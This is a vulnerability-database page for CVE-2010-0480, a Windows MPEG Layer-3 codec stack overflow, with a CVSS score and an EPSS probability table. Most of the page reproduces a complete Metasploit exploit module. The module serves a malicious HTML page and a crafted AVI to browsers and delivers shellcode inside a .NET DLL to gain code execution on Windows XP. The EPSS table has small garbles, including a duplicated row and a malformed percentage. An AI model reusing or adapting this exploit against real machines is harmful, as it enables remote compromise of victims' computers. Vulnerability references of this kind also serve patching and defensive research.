CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Multiple stack-based buffer overflows in the MPEG Layer-3 audio codecs in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP2, Vista Gold, SP1, and SP2, and Server 2008 Gold and SP2 allow remote attackers to execute arbitrary code via a crafted AVI file, aka "MPEG Layer-3 Audio Decoder Stack Overflow Vulnerability."
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
86.47%
–
–
2023-03-12
–
–
–
97.22%
–
2023-05-07
–
–
–
97.16%
–
2023-07-30
–
–
–
97.06%
–
2023-09-10
–
–
–
96.75%
–
2023-10-29
–
–
–
96.32%
–
2023-12-10
–
–
–
96.39%
–
2024-01-21
–
–
–
96.65%
–
2024-06-02
–
–
–
96.65%
–
2024-09-01
–
–
–
96.71%
–
2024-11-24
–
–
–
96.59%
–
2024-12-22
–
–
–
96.52%
–
2025-02-16
–
–
–
95.99%
–
2025-01-19
–
–
–
96.52%
–
2025-02-16
–
–
–
95.99%
–
2025-03-18
–
–
–
–
81.75%
2025-03-18
–
–
–
–
81.75,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: ms10_026_avi_nsamplespersec.rb 13555 2011-08-13 02:15:05Z sinn3r $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow',
'Description' => %q{
This module exploits a buffer overlow in l3codecx.ax while processing a
AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite
with 0's so the three least significant bytes of EIP saved on stack are
overwritten and shellcode is mapped using the .NET DLL memory technique pioneered
by Alexander Sotirov and Mark Dowd.
Please note on IE 8 targets, your malicious URL must be a trusted site in order
to load the .Net control.
},
'Author' =>
[
'Yamata Li', # Vulnerability Discovery
'Shahin Ramezany <shahin[at]abysssec.com', # Vulnerability Analysis and Exploit
'juan vazquez', # Metasploit module
'Jordi Sanchez <jsanchez[at]0x01000000.org>', # Metasploit module - Help
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13555 $',
'References' =>
[
['CVE', '2010-0480'],
['OSVDB', '63749'],
['BID', '39303'],
['MSB', 'MS10-026'],
['URL', 'http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/'],
['URL', 'http://www.phreedom.org/research/bypassing-browser-memory-protections/']
],
'Payload' =>
{
'Space' => 4000
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'Targets' =>
[
# Target 0: Automatic
# Tested with:
# Windows XP SP3 English IE 6
# Windows XP SP3 English IE 7
# Windows XP SP3 English IE 8: The exploiting site must be a trusted
# site to load the .NET control
# .NET CLR required
[
'Windows XP SP3 Automatic',
{
'Platform' => 'win',
'Ret' => 0x72000000
},
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 13 2010'))
end
def exploit
# Embed our payload in a .Net binary
ibase = target.ret - 0x10000
shellcode = rand_text_alpha(target.ret - ibase - 0x2285)
shellcode << payload.encoded
#Use our own custom .Net binary, because we require a much bigger file
#to land our payload at the right place
opts = {
:template => 'template_dotnetmem.dll',
:text_offset => 0x1285,
:text_max => 0x20000,
:pack => 'a131072',
:uuid_offset => 135816
}
@dotnet_payload = Msf::Util::EXE.to_dotnetmem(ibase, shellcode, opts)
# Load our AVI file
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0480.avi")
f = File.open(path, "rb")
@trigger = f.read(f.stat.size)
f.close
super
end
def on_request_uri(cli, request)
agent = request['User-Agent']
case request['User-Agent']
when /MSIE.*Windows NT 5\.1.*\.NET CLR .*/
when /Windows-Media-Player/
# AVI is requested by WMP
else
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - target not supported: #{agent}")
return
end
if (request.uri =~ /\.html/i)
avi_name = rand_text_alpha(4)
avi_trigger = ""
if ("/" == get_resource[-1,1])
avi_trigger = get_resource[0, get_resource.length - 1]
else
avi_trigger = get_resource
end
avi_trigger << "/#{avi_name}.avi"
html = %Q|<html>
<body>
<OBJECT ID="MediaPlayer"
CLASSID="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95"
CODEBASE="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#
Version=5,1,52,701" STANDBY="Loading Microsoft Windows Media Player components..."
TYPE="application/x-oleobject" width="280" height="46">
<param name="fileName" value="#{avi_trigger}">
<param name="animationatStart" value="true">
<param name="transparentatStart" value="true">
<param name="autoStart" value="true">
<param name="showControls" value="true">
<param name="Volume" value="-300">
<embed type="application/x-mplayer2"
pluginspage="http://www.microsoft.com/Windows/MediaPlayer/"
src="#{avi_trigger}"
name="MediaPlayer"
width=280
height=46
autostart=1
showcontrols=1
volume=-300>
</embed>
</OBJECT>
</body>
</html>
|
html = html.gsub(/^\t\t\t/, '')
print_status("Sending trigger loader to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, html)
elsif (request.uri =~ /\.avi$/i)
print_status "Sending AVI trigger to #{cli.peerhost}:#{cli.peerport} ..."
send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
return
elsif (request.uri =~ /\.dll$/i)
print_status "Sending DLL file to #{cli.peerhost}:#{cli.peerport} ..."
send_response(
cli,
@dotnet_payload,
{
'Content-Type' => 'application/x-msdownload',
'Connection' => 'close',
'Pragma' => 'no-cache'
}
)
return
end
html_name = rand_text_alpha(4)
dll_uri = ""
html_trigger = ""
if ("/" == get_resource[-1,1])
dll_uri = get_resource[0, get_resource.length - 1]
html_trigger = get_resource[0, get_resource.length - 1]
else
dll_uri = get_resource
html_trigger = get_resource
end
dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"
js_net_dll = "<object classid=\"#{dll_uri}\"#GenericControl\"><object>"
html_trigger << "/#{html_name}.html"
html = %Q|<html>
<head>
<script language="javascript">
function forward() {
window.location = window.location + '#{html_trigger}';
}
function start() {
setTimeout("forward()", 2000);
}
</script>
</head>
<body onload="start()">
<object classid="#{dll_uri}#GenericControl">
<object>
</body>
</html>
|
html = html.gsub(/^\t\t/, '')
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, html)
end
end